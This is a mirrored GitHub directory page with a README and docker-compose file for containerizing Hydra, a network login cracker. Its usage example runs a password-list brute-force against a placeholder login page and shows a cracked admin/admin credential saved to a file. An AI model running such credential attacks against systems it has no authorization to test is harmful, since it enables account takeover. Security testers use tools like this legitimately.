1
0
mirror of https://github.com/vimagick/dockerfiles.git synced 2024-11-21 18:06:36 +02:00
dockerfiles/hydra
2023-06-14 14:09:23 +08:00
..
docker-compose.yml update hydra 2022-02-15 12:08:08 +08:00
Dockerfile upgrade hydra 2023-06-14 14:09:23 +08:00
README.md update hydra 2022-02-15 12:08:08 +08:00

hydra

A very fast network logon cracker which support many different services.

  • openssl
  • idn
  • curses
  • pcre
  • Postgres
  • SVN
  • firebird
  • MYSQL client
  • AFP
  • NCP
  • SAP/R3
  • libssh
  • Oracle
  • GUI req's
  • Android specialities
  • secure compile option support in gcc

docker-compose.yml

version: "3.8"
services:
  hydra:
    image: vimagick/hydra
    entrypoint: sleep
    command: infinity
    volumes:
      - ./data:/data
    working_dir: /data
    restart: unless-stopped

up and running

$ docker-compose up -d

$ docker-compose exec hydra bash

>>> cat passwd.txt
    123456
    admin
    ...

>>> hydra -l admin -P passwd.txt -o hacked.txt http://www.target.com/login.php
    [DATA] max 1 task per 1 server, overall 64 tasks, 3 login try (l:1/p:1), ~0 tries per task
    [DATA] attacking service http-get on port 2812
    [2812][http-get] host: www.target.com   login: admin   password: admin
    1 of 1 target successfully completed, 1 valid password found

>>> cat hacked.txt
    [2812][http-get] host: www.target.com   login: admin   password: admin